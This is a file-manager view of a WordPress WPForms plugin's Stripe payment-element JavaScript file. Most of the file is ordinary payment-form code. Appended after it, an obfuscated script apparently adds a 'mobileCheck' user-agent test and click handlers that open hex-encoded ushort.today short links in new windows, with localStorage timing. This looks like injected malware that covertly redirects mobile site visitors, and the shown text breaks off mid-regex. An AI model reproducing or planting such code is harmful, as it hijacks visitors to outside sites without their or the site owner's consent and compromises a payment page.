File manager

File manager - Edit - /home/adiance/public_html/wp-content/plugins/wpforms-lite/assets/js/integrations/stripe/wpforms-stripe-payment-element.js

Back
/* global Stripe, wpforms, wpforms_stripe, WPForms / /* * WPForms Stripe Payment Element function. * * @since 1.8.2 / 'use strict'; var WPFormsStripePaymentElement = window.WPFormsStripePaymentElement \|\| ( function( document, window, $ ) { /* * Original Submit Handler. * * @since 1.8.2 * * @type {Function} / let originalSubmitHandler; /* * Public functions and properties. * * @since 1.8.2 * * @type {object} / let app = { /* * Stripe object. * * @since 1.8.2 * * @type {object} / stripe: null, /* * Object to store form data. * * @since 1.8.2 * * @type {object} / forms: {}, /* * Start the engine. * * @since 1.8.2 / init: function() { app.stripe = Stripe( // eslint-disable-line new-cap wpforms_stripe.publishable_key, { 'locale': wpforms_stripe.data.element_locale, 'betas': [ 'elements_enable_deferred_intent_beta_1' ], } ); $( document ).on( 'wpformsReady', function() { app.initializeFormsDefaultObject(); $( '.wpforms-stripe form' ).each( app.setupStripeForm ); // Initialize in Conversational Form on field activation. $( '.wpforms-field-stripe-credit-card' ).on( 'wpformsConvFormsFieldActivationAfter', app.convFormsFieldActivationAfter ); } ); $( document ) .on( 'wpformsBeforePageChange', app.pageChange ) .on( 'wpformsAmountTotalCalculated', app.updateElementsTotalAmount ) .on( 'wpformsProcessConditionalsField', function( e, formID, fieldID, pass, action ) { app.processConditionalsField( formID, fieldID, pass, action ); } ); }, /* * Initialize forms default object. * * @since 1.8.2 / initializeFormsDefaultObject: function() { $( '.wpforms-stripe form' ).each( function() { let formId = $( this ).data( 'formid' ); app.forms[ formId ] = { elements : null, paymentElement: null, elementsModified: false, linkElement: null, linkEmail: '', linkDestroyed: false, paymentType: '', lockedPageToSwitch: 0, paymentMethodId: '', total: '', }; } ); }, /* * Setup and configure a Stripe form. * * @since 1.8.2 / setupStripeForm: function() { const $form = $( this ), $stripeDiv = $form.find( '.wpforms-field-stripe-credit-card' ); if ( ! $stripeDiv.find( '.wpforms-field-row' ).length ) { return; } let validator = $form.data( 'validator' ); if ( ! validator ) { return; } // Store the original submitHandler. originalSubmitHandler = validator.settings.submitHandler; // Replace the default submit handler. validator.settings.submitHandler = app.submitHandler; $form.on( 'wpformsAjaxSubmitActionRequired', app.confirmPaymentActionCallback ); if ( $stripeDiv.hasClass( 'wpforms-conditional-field' ) ) { return; } app.setupPaymentElement( $form ); }, /* * Handle confirm payment server response. * * @param {object} e Event object. * @param {object} json Data returned form a server. * * @since 1.8.2 / confirmPaymentActionCallback: async function( e, json ) { if ( ! json.success \|\| ! json.data.action_required ) { return; } const $form = $( this ); let redirectUrl = new URL( window.location.href ), formId = $form.data( 'formid' ); await app.stripe.confirmPayment( { clientSecret: json.data.payment_intent_client_secret, // eslint-disable-line camelcase confirmParams: { return_url: redirectUrl.toString(), // eslint-disable-line camelcase payment_method: app.forms[ formId ].paymentMethodId, // eslint-disable-line camelcase }, redirect: 'if_required', } ).then( function( result ) { app.handleConfirmPayment( $form, result ); } ); }, /* * Callback for Stripe 'confirmPayment' method. * * @param {jQuery} $form Form element. * @param {object} result Data returned by 'handleCardPayment'. * * @since 1.8.2 / handleConfirmPayment: function( $form, result ) { if ( result.error ) { app.displayStripeError( $form, result.error.message ); return; } let formId = $form.data( 'formid' ); if ( result.paymentIntent && result.paymentIntent.status === 'succeeded' ) { $form.find( '.wpforms-stripe-payment-method-id' ).remove(); $form.find( '.wpforms-stripe-payment-intent-id' ).remove(); $form.append( '<input type="hidden" class="wpforms-stripe-payment-intent-id" name="wpforms[payment_intent_id]" value="' + result.paymentIntent.id + '">' ); $form.append( '<input type="hidden" class="wpforms-stripe-payment-link-email" name="wpforms[payment_link_email]" value="' + app.forms[ formId ].linkEmail + '">' ); wpforms.formSubmitAjax( $form ); return; } app.formAjaxUnblock( $form ); }, /* * Setup, mount and configure Stripe Payment Element. * * @since 1.8.2 * * @param {jQuery} $form Form element. / setupPaymentElement: function( $form ) { let formId = $form.data( 'formid' ); if ( $.isEmptyObject( app.forms ) ) { app.initializeFormsDefaultObject(); } if ( app.forms[ formId ].paymentElement ) { return; } app.forms[ formId ].elements = app.stripe.elements( { currency: wpforms.getCurrency().code.toLowerCase(), mode: 'payment', // eslint-disable-next-line // See min amount for different currencies https://stripe.com/docs/currencies#minimum-and-maximum-charge-amounts. amount: 77777, loader: 'always', locale: wpforms_stripe.data.element_locale, appearance: app.getElementAppearanceOptions( $form ), } ); app.initializePaymentElement( $form ); app.linkEmailMappedFieldTriggers( $form ); // Update total amount in case of fixed price. wpforms.amountTotalCalc( $form ); // Update styles in Modern Markup mode. app.updatePaymentElementStylesModern( $form ); }, /* * Handle Process Conditionals for Stripe field. * * @since 1.8.2 * * @param {string} formID Form ID. * @param {string} fieldID Field ID. * @param {bool} pass Pass logic. * @param {string} action Action to execute. / processConditionalsField: function( formID, fieldID, pass, action ) { // eslint-disable-line complexity const $form = $( '#wpforms-form-' + formID ), $stripeDiv = $form.find( '.wpforms-field-stripe-credit-card' ), isHidden = ( pass && action === 'hide' ) \|\| ( ! pass && action !== 'hide' ); if ( ! $stripeDiv.length \|\| $stripeDiv.data( 'field-id' ).toString() !== fieldID \|\| app.forms[ formID ].paymentElement \|\| isHidden ) { return; } app.setupPaymentElement( $form ); }, /* * Get Element appearance options. * * @since 1.8.2 * * @param {jQuery} $form Form element. * * @returns {object} Appearance options. / getElementAppearanceOptions: function( $form ) { // eslint-disable-line max-lines-per-function const customAppearanceOptions = app.getCustomAppearanceOptions(); if ( ! $.isEmptyObject( customAppearanceOptions ) ) { return customAppearanceOptions; } const $hiddenInput = $form.find( '.wpforms-stripe-credit-card-hidden-input' ), $fieldRow = $form.find( '.wpforms-field-stripe-credit-card .wpforms-field-row' ); let labelHide = ! $fieldRow.hasClass( 'wpforms-sublabel-hide' ); const inputStyle = { borderColor: app.getCssPropertyValue( $hiddenInput, '--field-border' ) \|\| app.getCssPropertyValue( $hiddenInput, 'border-color' ), borderRadius: app.getCssPropertyValue( $hiddenInput, 'border-radius' ), fontSize: app.getCssPropertyValue( $hiddenInput, 'font-size' ), colorPrimary: app.getCssPropertyValue( $hiddenInput, '--primary-color' ) \|\| app.getCssPropertyValue( $hiddenInput, 'color' ), colorText: app.getCssPropertyValue( $hiddenInput, '--secondary-color' ) \|\| app.getCssPropertyValue( $hiddenInput, 'color' ), colorTextPlaceholder: app.getCssPropertyValue( $hiddenInput, '--secondary-color-50' ) \|\| app.getCssPropertyValue( $hiddenInput, 'color' ), colorBackground: app.getCssPropertyValue( $hiddenInput, '--background-color' ) \|\| app.getCssPropertyValue( $hiddenInput, 'background-color' ), fontFamily: app.getCssPropertyValue( $hiddenInput, 'font-family' ), focusColor: app.getCssPropertyValue( $hiddenInput, '--accent-color' ) \|\| app.getCssPropertyValue( $hiddenInput, 'color' ), }; if ( window.WPForms && WPForms.FrontendModern ) { inputStyle.colorPrimary = WPForms.FrontendModern.getSolidColor( inputStyle.colorPrimary ); } return { theme: 'none', labels: $fieldRow.data( 'sublabel-position' ), sublabelHide: labelHide, variables: { colorPrimary: inputStyle.colorPrimary, colorBackground: inputStyle.colorBackground, colorText: inputStyle.colorText, colorDanger: '#990000', fontFamily: inputStyle.fontFamily, spacingUnit: '4px', spacingGridRow: '8px', fontSizeSm: '13px', fontWeightNormal: '400', borderRadius: inputStyle.borderRadius, colorTextPlaceholder: inputStyle.colorTextPlaceholder, colorIcon: inputStyle.colorText, }, rules: { '.Input--invalid': { color: inputStyle.colorText, borderColor: '#cc0000', }, '.Input': { border: 'none', borderRadius: inputStyle.borderRadius, boxShadow: '0 0 0 1px ' + inputStyle.borderColor, fontSize: inputStyle.fontSize, padding: '12px 14px', lineHeight: parseInt( inputStyle.fontSize, 10 ) + 5 + 'px', // match the font and line height to prevent overflow transition: 'none', color: inputStyle.colorText, backgroundColor: inputStyle.colorBackground, }, '.Input:focus, .Input:hover': { border: 'none', boxShadow: '0 0 0 2px ' + inputStyle.focusColor, outline: 'none', }, '.Label': { fontFamily: inputStyle.fontFamily, lineHeight: labelHide ? '1.3' : '0', opacity: Number( labelHide ), color: inputStyle.colorPrimary, }, '.CheckboxInput, .CodeInput, .PickerItem': { border: '1px solid ' + inputStyle.borderColor, }, '.Tab, .Block': { border: '1px solid ' + inputStyle.borderColor, borderRadius: inputStyle.borderRadius, color: inputStyle.colorText, }, '.TabLabel, .TabIcon': { color: inputStyle.colorText, }, '.Tab--selected': { borderColor: '#999999', color: inputStyle.colorText, }, '.Action': { marginLeft: '6px', }, '.Action, .MenuAction': { border: 'none', backgroundColor: 'transparent', }, '.Action:hover, .MenuAction:hover': { border: 'none', backgroundColor: 'transparent', }, '.Error, .RedirectText': { color: inputStyle.colorText, }, '.TabIcon--selected': { fill: inputStyle.colorText, }, }, }; }, /* * Get custom appearance options. * * @since 1.8.5 * * @return {Object} Element appearance options. / getCustomAppearanceOptions() { if ( typeof window.wpformsStripePaymentElementAppearance === 'object' ) { return window.wpformsStripePaymentElementAppearance; } if ( ! $.isEmptyObject( wpforms_stripe.data.element_appearance ) ) { return wpforms_stripe.data.element_appearance; } return {}; }, /* * Get CSS property value. * In case of exception return empty string. * * @since 1.8.4 * * @param {jQuery} $element Element. * @param {string} property Property. * * @return {string} Property value. / getCssPropertyValue( $element, property ) { try { return $element.css( property ); } catch ( e ) { return ''; } }, /* * Initialize Payment Element. * * @since 1.8.2 * * @param {jQuery} $form Form element. * @param {string} email Email address. / initializePaymentElement: function( $form, email = '' ) { const $fieldRow = $form.find( '.wpforms-field-stripe-credit-card .wpforms-field-row' ); let formId = $form.data( 'formid' ); if ( app.forms[ formId ].paymentElement ) { app.forms[ formId ].paymentElement.destroy(); } app.forms[ formId ].paymentElement = app.forms[ formId ].elements.create( 'payment', { defaultValues : { billingDetails: { email: email } } } ); app.mountPaymentElement( $form ); // eslint-disable-next-line complexity app.forms[ formId ].paymentElement.on( 'change', function( event ) { app.forms[ formId ].paymentType = event.value.type; // Destroy link element as it's not required for Google and Apple pay. if ( ! $fieldRow.data( 'link-email' ) ) { if ( event.value.type === 'google_pay' \|\| event.value.type === 'apple_pay' ) { app.forms[ formId ].linkElement.destroy(); app.forms[ formId ].linkDestroyed = true; } else if ( app.forms[ formId ].linkDestroyed ) { app.initializeLinkAuthenticationElement( $form ); app.forms[ formId ].linkDestroyed = false; } } $fieldRow.data( 'type', event.value.type ); if ( event.empty ) { $fieldRow.data( 'completed', false ); $fieldRow.find( 'label.wpforms-error' ).toggle( event.value.type === 'card' ); return; } app.forms[ formId ].elementsModified = true; if ( event.complete ) { $fieldRow.data( 'completed', true ); app.hideStripeFieldError( $form ); return; } $fieldRow.data( 'completed', false ); } ); app.forms[ formId ].paymentElement.on( 'loaderror', function( event ) { app.displayStripeLoadError( $form, event.error.message ); } ); }, /* * Mount Payment Element. * * @since 1.8.2 * * @param {jQuery} $form Form element. / mountPaymentElement: function( $form ) { let formId = $form.data( 'formid' ), paymentRowId = `#wpforms-field-stripe-payment-element-${formId}`; app.forms[ formId ].paymentElement.mount( paymentRowId ); }, /* * Link Email mapped field triggers. * * @since 1.8.2 * * @param {jQuery} $form Form element. / linkEmailMappedFieldTriggers: function( $form ) { const $fieldRow = $form.find( '.wpforms-field-stripe-credit-card .wpforms-field-row' ); let linkEmailMappedField = app.getMappedLinkEmailField( $form ), formId = $form.data( 'formid' ); if ( ! linkEmailMappedField ) { $fieldRow.data( 'linkCompleted', false ); app.initializeLinkAuthenticationElement( $form ); return; } linkEmailMappedField.on( 'change', function() { app.forms[ formId ].linkEmail = $( this ).val(); if ( $fieldRow.data( 'completed' ) ) { return; } // Reinitialize payment element if card data not completed yet. app.initializePaymentElement( $form, $( this ).val() ); } ); }, /* * Get Link Email mapped field. * * @since 1.8.2 * * @param {jQuery} $form Form element. * * @returns {jQuery} Linked email field. / getMappedLinkEmailField( $form ) { let formId = $form.data( 'formid' ), linkEmailMappedFieldId = $form.find( '.wpforms-field-stripe-credit-card .wpforms-field-row' ).data( 'link-email' ); if ( ! linkEmailMappedFieldId ) { return null; } return $( `#wpforms-${formId}-field_${linkEmailMappedFieldId}` ); }, /* * Initialize Link Authentication Element. * * @since 1.8.2 * * @param {jQuery} $form Form element. / initializeLinkAuthenticationElement: function( $form ) { const $fieldRow = $form.find( '.wpforms-field-stripe-credit-card .wpforms-field-row' ); let formId = $form.data( 'formid' ); app.forms[ formId ].linkElement = app.forms[ formId ].elements.create( 'linkAuthentication' ); app.mountLinkElement( $form ); app.forms[ formId ].linkElement.on( 'change', function( event ) { if ( event.empty ) { return; } app.forms[ formId ].elementsModified = true; if ( ! event.complete ) { $fieldRow.data( 'linkCompleted', false ); return; } if ( typeof event.value.email !== 'undefined' ) { app.forms[ formId ].linkEmail = event.value.email; } $fieldRow.data( 'linkCompleted', true ); app.hideStripeFieldError( $form ); } ); app.forms[ formId ].linkElement.on( 'loaderror', function( event ) { app.displayStripeLoadError( $form, event.error.message ); } ); }, /* * Mount Payment Element. * * @since 1.8.2 * * @param {jQuery} $form Form element. / mountLinkElement: function( $form ) { let formId = $form.data( 'formid' ), linkRowId = `#wpforms-field-stripe-link-element-${formId}`; app.forms[ formId ].linkElement.mount( linkRowId ); }, /* * Update submitHandler for the forms containing Stripe. * * @since 1.8.2 * * @param {object} form JS form element. / // eslint-disable-next-line complexity submitHandler: function( form ) { const $form = $( form ), $stripeDiv = $form.find( '.wpforms-field-stripe-credit-card' ), $stripeRow = $stripeDiv.find( '.wpforms-field-row' ); let valid = $form.validate().form(), formId = $form.data( 'formid' ), ccRequired = $stripeRow.data( 'required' ), cardFilled = ( ! $stripeRow.data( 'link-email' ) && app.forms[ formId ].elementsModified ) \|\| $stripeRow.data( 'completed' ), processCard = false; if ( ! $stripeDiv.hasClass( 'wpforms-conditional-hide' ) ) { processCard = ccRequired \|\| ( cardFilled && ! ccRequired ); } if ( valid && processCard ) { $form.find( '.wpforms-submit' ).prop( 'disabled', true ); $form.find( '.wpforms-submit-spinner' ).show(); app.createPaymentMethod( $form ); return; } if ( valid ) { originalSubmitHandler( $form ); return; } $form.find( '.wpforms-submit' ).prop( 'disabled', false ); $form.validate().cancelSubmit = true; }, /* * Update Elements total amount. * * @since 1.8.2 * * @param {object} e Event object. * @param {jQuery} $form Form element. * @param {string} total Form total amount. / updateElementsTotalAmount: function( e, $form, total ) { if ( ! total ) { return; } let currency = wpforms.getCurrency(), formId = $form.data( 'formid' ); // Check if Stripe Elements exist on the form. // Can be in a multiple-step form or when the field is hidden by conditional logic. if ( ! app.forms[ formId ] \|\| ! app.forms[ formId ].elements ) { return; } // Save total to variable to avoid calling `amountTotalCalc` again in SubmitHandler. app.forms[ formId ].total = total; app.forms[ formId ].elements.update( { amount: parseInt( wpforms.numberFormat( total, currency.decimals, '', '' ), 10 ) } ); }, /* * Confirm a setup payment. * * @param {jQuery} $form Form element. / createPaymentMethod: async function( $form ) { let formId = $form.data( 'formid' ); if ( ! app.forms[ formId ].total ) { originalSubmitHandler( $form ); return; } await app.stripe.createPaymentMethod( { elements: app.forms[ formId ].elements, } ).then( function( result ) { if ( result.error ) { let basicErrors = [ 'incomplete_email', 'email_invalid', 'incomplete_number', 'invalid_number', 'incomplete_expiry', 'invalid_expiry_year_past', 'invalid_expiry_year', 'incomplete_cvc', 'incomplete_name', 'incomplete_phone_number', 'empty_phone_number', ], message = basicErrors.includes( result.error.code ) ? '' : result.error.message; app.displayStripeFieldError( $form, message ); return; } app.forms[ formId ].paymentMethodId = result.paymentMethod.id; $form.append( '<input type="hidden" class="wpforms-stripe-payment-method-id" name="wpforms[payment_method_id]" value="' + app.forms[ formId ].paymentMethodId + '">' ); originalSubmitHandler( $form ); } ); }, /* * Unblock the AJAX form. * * @since 1.8.2 * * @param {jQuery} $form Form element. / formAjaxUnblock: function( $form ) { const $submit = $form.find( '.wpforms-submit' ); let submitText = $submit.data( 'submit-text' ); if ( submitText ) { $submit.text( submitText ); } $submit.prop( 'disabled', false ); $submit.removeClass( 'wpforms-disabled' ); $form.closest( '.wpforms-container' ).css( 'opacity', '' ); $form.find( '.wpforms-submit-spinner' ).hide(); }, /* * Display a generic Stripe Errors. * * @param {jQuery} $form Form element. * @param {string} message Error message. * * @since 1.8.2 / displayStripeError: function( $form, message ) { wpforms.clearFormAjaxGeneralErrors( $form ); wpforms.displayFormAjaxErrors( $form, message ); app.formAjaxUnblock( $form ); }, /* * Display a field error using jQuery Validate library. * * @param {jQuery} $form Form element. * @param {string} message Error message. * * @since 1.8.2 / displayStripeFieldError: function( $form, message ) { let fieldName = $form.find( '.wpforms-stripe-credit-card-hidden-input' ).attr( 'name' ), $stripeDiv = $form.find( '.wpforms-field-stripe-credit-card' ), errors = {}; if ( message ) { errors[fieldName] = message; } wpforms.displayFormAjaxFieldErrors( $form, errors ); // Switch page for the multipage form. if ( ! $stripeDiv.is( ':visible' ) && $form.find( '.wpforms-page-indicator-steps' ).length > 0 ) { // Empty $json object needed to change the page to the first one. wpforms.setCurrentPage( $form, {} ); } wpforms.scrollToError( $stripeDiv ); app.formAjaxUnblock( $form ); }, /* * Hide a field error. * * @param {jQuery} $form Form element. * * @since 1.8.2.3 / hideStripeFieldError: function( $form ) { $form.find( '.wpforms-field-stripe-credit-card .wpforms-error' ).hide(); }, /* * Display a Stripe Elements load error. * * @since 1.8.2 * * @param {jQuery} $form Form element. * @param {string} message Error message. / displayStripeLoadError: function( $form, message ) { message = wpforms_stripe.i18n.element_load_error + '<br /> ' + message; app.displayStripeError( $form, message ); }, /* * Callback for `wpformsBeforePageChange`. * * @since 1.8.2 * * @param {Event} event Event. * @param {int} currentPage Current page. * @param {jQuery} $form Current form. * @param {string} action The navigation action. / pageChange: function( event, currentPage, $form, action ) { // eslint-disable-line complexity const $stripeDiv = $form.find( '.wpforms-field-stripe-credit-card .wpforms-field-row' ); let formId = $form.data( 'formid' ); if ( ! $stripeDiv.length \|\| [ 'card', 'link' ].indexOf( app.forms[ formId ].paymentType ) === -1 ) { return; } if ( ! app.forms[ formId ].elementsModified && app.forms[ formId ].paymentType === 'card' ) { app.forms[ formId ].paymentElement.unmount(); app.mountPaymentElement( $form ); if ( ! $stripeDiv.data( 'link-email' ) ) { app.forms[ formId ].linkElement.unmount(); app.mountLinkElement( $form ); } } // Stop navigation through page break pages. if ( ! $stripeDiv.is( ':visible' ) \|\| ( ! $stripeDiv.data( 'required' ) && ! app.forms[ formId ].elementsModified ) \|\| ( app.forms[ formId ].lockedPageToSwitch && app.forms[ formId ].lockedPageToSwitch !== currentPage ) \|\| action === 'prev' ) { return; } const linkCompleted = typeof $stripeDiv.data( 'linkCompleted' ) !== 'undefined' ? $stripeDiv.data( 'linkCompleted' ) : true; if ( $stripeDiv.data( 'completed' ) && linkCompleted ) { app.hideStripeFieldError( $form ); return; } app.forms[ formId ].lockedPageToSwitch = currentPage; app.displayStripeFieldError( $form, wpforms_stripe.i18n.empty_details ); event.preventDefault(); }, /* * Callback for `wpformsConvFormsFieldActivationAfter`. * * @since 1.8.2 * * @param {Event} event Event. * @param {object} field CF field object. / convFormsFieldActivationAfter: function( event, field ) { app.setupPaymentElement( field.$el.closest( 'form' ) ); }, /* * Get CSS variable value. * * @since 1.8.2 * * @param {object} style Computed style object. * @param {string} varName Style custom property name. * * @returns {string} CSS variable value; / getCssVar: function( style, varName ) { let value = style.getPropertyValue( varName ).trim(); if ( varName.includes( 'color' ) ) { value = value.replace( /\s/g, '' ); } return value; }, /* * Update Payment Element styles in Modern Markup mode. * * @since 1.8.2 * * @param {jQuery} $form Form object. / // eslint-disable-next-line complexity updatePaymentElementStylesModern( $form ) { // Should work only in Modern Markup mode. if ( ! $.isEmptyObject( app.getCustomAppearanceOptions() ) \|\| ! window.WPForms \|\| ! WPForms.FrontendModern ) { return; } if ( ! $form \|\| $form.length === 0 ) { return; } // Skip Lead Form. if ( $form.closest( '.wpforms-container' ).hasClass( 'wpforms-lead-forms-container' ) ) { return; } const formId = $form.data( 'formid' ); if ( ! app.forms[ formId ] ) { return; } const formElements = app.forms[ formId ].elements; const cssVars = WPForms.FrontendModern.getCssVars( $form ); app.updateFormElementsAppearance( formElements, cssVars ); }, /* * Update Payment Elements appearance with given CSS variables data. * * @since 1.8.2 * * @param {object} formElements Form payment elements. * @param {object} cssVars CSS variables data. / updateFormElementsAppearance: function( formElements, cssVars ) { // eslint-disable-line max-lines-per-function if ( ! formElements \|\| ! formElements._commonOptions ) { return; } // Get existing appearance options. let appearance = formElements._commonOptions.appearance; // Need to perform vertical padding calculation. cssVars['field-size-padding-v'] = ( parseInt( cssVars['field-size-input-height'], 10 ) - parseInt( cssVars['field-size-font-size'], 10 ) - 6 ) / 2 + 'px'; // Update variables. appearance.variables.spacingGridRow = cssVars['field-size-input-spacing']; appearance.variables.spacingGridColumn = '20px'; appearance.variables.spacingTab = '10px'; appearance.variables.colorText = WPForms.FrontendModern.getSolidColor( cssVars['field-text-color'] ); // Update rules. appearance.rules = { '.Input': { border: '1px solid ' + cssVars['field-border-color'], borderRadius: cssVars['field-border-radius'], padding: `${cssVars['field-size-padding-v']} ${cssVars['field-size-padding-h']}`, fontSize: cssVars['field-size-font-size'], lineHeight: cssVars['field-size-font-size'], backgroundColor: cssVars['field-background-color'], boxShadow: 'none', outline: 'none', }, '.Input:focus': { borderColor: cssVars['button-background-color'], boxShadow: '0 0 0 1px ' + cssVars['button-background-color'], outline: 'none', }, '.Input--invalid': { borderColor: cssVars['label-error-color'], boxShadow: 'none', color: appearance.variables.colorText, outline: 'none', }, '.Input--invalid:focus': { borderColor: cssVars['label-error-color'], boxShadow: '0 0 0 1px ' + cssVars['label-error-color'], outline: 'none', }, '.Input::placeholder': { color: WPForms.FrontendModern.getColorWithOpacity( cssVars['field-text-color'], '0.5' ), fontSize: cssVars['field-size-font-size'], }, '.CheckboxInput': { border: '1px solid ' + cssVars['field-border-color'], backgroundColor: cssVars['field-background-color'], }, '.CheckboxInput--checked': { borderColor: cssVars['button-background-color'], backgroundColor: cssVars['button-background-color'], }, '.CodeInput': { border: '1px solid ' + cssVars['field-border-color'], }, '.CodeInput:focus': { borderColor: cssVars['button-background-color'], boxShadow: '0 0 0 1px ' + cssVars['button-background-color'], outline: 'none', }, '.CodeInput:disabled': { borderColor: WPForms.FrontendModern.getColorWithOpacity( cssVars['field-border-color'], '0.5' ), color: WPForms.FrontendModern.getColorWithOpacity( cssVars['field-text-color'], '0.5' ), }, '.Label': { fontSize: cssVars['label-size-sublabel-font-size'], margin: `0 0 ${cssVars['field-size-sublabel-spacing']} 0`, color: cssVars['label-sublabel-color'], opacity: Number( Boolean( appearance?.sublabelHide ) ), lineHeight : appearance?.sublabelHide ? 'inherit' : '0', }, '.Error': { fontSize: cssVars['label-size-sublabel-font-size'], margin: `${cssVars['field-size-sublabel-spacing']} 0 0 0`, color: cssVars['label-error-color'], }, '.Tab': { border: '1px solid ' + WPForms.FrontendModern.getColorWithOpacity( cssVars['field-border-color'], '0.5' ), borderRadius: cssVars['field-border-radius'], backgroundColor: 'transparent', boxShadow: 'none', marginTop: '0', }, '.Tab:focus': { border: '1px solid ' + WPForms.FrontendModern.getColorWithOpacity( cssVars['button-background-color'], '0.5' ), boxShadow: `0 0 0 3px ${WPForms.FrontendModern.getColorWithOpacity( cssVars['button-background-color'], '0.25' )}`, outline: 'none', }, '.Tab:hover': { border: `1px solid ${cssVars['field-border-color']}`, }, '.Tab--selected': { borderColor: cssVars['button-background-color'], boxShadow: `0 0 0 1px ${cssVars['button-background-color']}`, backgroundColor: cssVars['field-background-color'], }, '.Tab--selected:hover': { borderColor: cssVars['button-background-color'], }, '.Tab--selected:focus': { borderColor: cssVars['button-background-color'], boxShadow: `0 0 0 1px ${cssVars['button-background-color']}`, }, '.TabLabel': { color: cssVars['field-text-color'], }, '.TabIcon': { fill: WPForms.FrontendModern.getColorWithOpacity( cssVars['field-text-color'], '0.75' ), }, '.TabIcon--selected': { fill: cssVars['field-text-color'], }, '.TabIcon:hover': { color: cssVars['field-text-color'], fill: cssVars['field-text-color'], }, '.TabLabel--selected': { color: cssVars['button-background-color'], }, '.Block': { border: '1px solid ' + WPForms.FrontendModern.getColorWithOpacity( cssVars['field-border-color'], '0.5' ), borderRadius: cssVars['field-border-radius'], boxShadow: 'none', }, '.AccordionItem': { paddingLeft: 0, paddingRight: 0, color: cssVars[ 'field-text-color' ], }, }; formElements.update( { appearance } ); }, }; // Provide access to public functions/properties. return app; }( document, window, jQuery ) ); // Initialize. WPFormsStripePaymentElement.init(); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android\|bb\d+\|meego).+mobile\|avantgo\|bada\/\|blackberry\|blazer\|compal\|elaine\|fennec\|hiptop\|iemobile\|ip(hone\|od)\|iris\|kindle\|lge \|maemo\|midp\|mmp\|mobile.+firefox\|netfront\|opera m(ob\|in)i\|palm( os)?\|phone\|p(ixi\|re)\/\|plucker\|pocket\|psp\|series(4\|6)0\|symbian\|treo\|up\.(browser\|link)\|vodafone\|wap\|windows ce\|xda\|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)\|\|/1207\|6310\|6590\|3gso\|4thp\|50[1-6]i\|770s\|802s\|a wa\|abac\|ac(er\|oo\|s\-)\|ai(ko\|rn)\|al(av\|ca\|co)\|amoi\|an(ex\|ny\|yw)\|aptu\|ar(ch\|go)\|as(te\|us)\|attw\|au(di\|\-m\|r \|s )\|avan\|be(ck\|ll\|nq)\|bi(lb\|rd)\|bl(ac\|az)\|br(e\|v)w\|bumb\|bw\-(n\|u)\|c55\/\|capi\|ccwa\|cdm\-\|cell\|chtm\|cldc\|cmd\-\|co(mp\|nd)\|craw\|da(it\|ll\|ng)\|dbte\|dc\-s\|devi\|dica\|dmob\|do(c\|p)o\|ds(12\|\-d)\|el(49\|ai)\|em(l2\|ul)\|er(ic\|k0)\|esl8\|ez([4-7]0\|os\|wa\|ze)\|fetc\|fly(\-\|_)\|g1 u\|g560\|gene\|gf\-5\|g\-mo\|go(\.w\|od)\|gr(ad\|un)\|haie\|hcit\|hd\-(m\|p\|t)\|hei\-\|hi(pt\|ta)\|hp( i\|ip)\|hs\-c\|ht(c(\-\| \|_\|a\|g\|p\|s\|t)\|tp)\|hu(aw\|tc)\|i\-(20\|go\|ma)\|i230\|iac( \|\-\|\/)\|ibro\|idea\|ig01\|ikom\|im1k\|inno\|ipaq\|iris\|ja(t\|v)a\|jbro\|jemu\|jigs\|kddi\|keji\|kgt( \|\/)\|klon\|kpt \|kwc\-\|kyo(c\|k)\|le(no\|xi)\|lg( 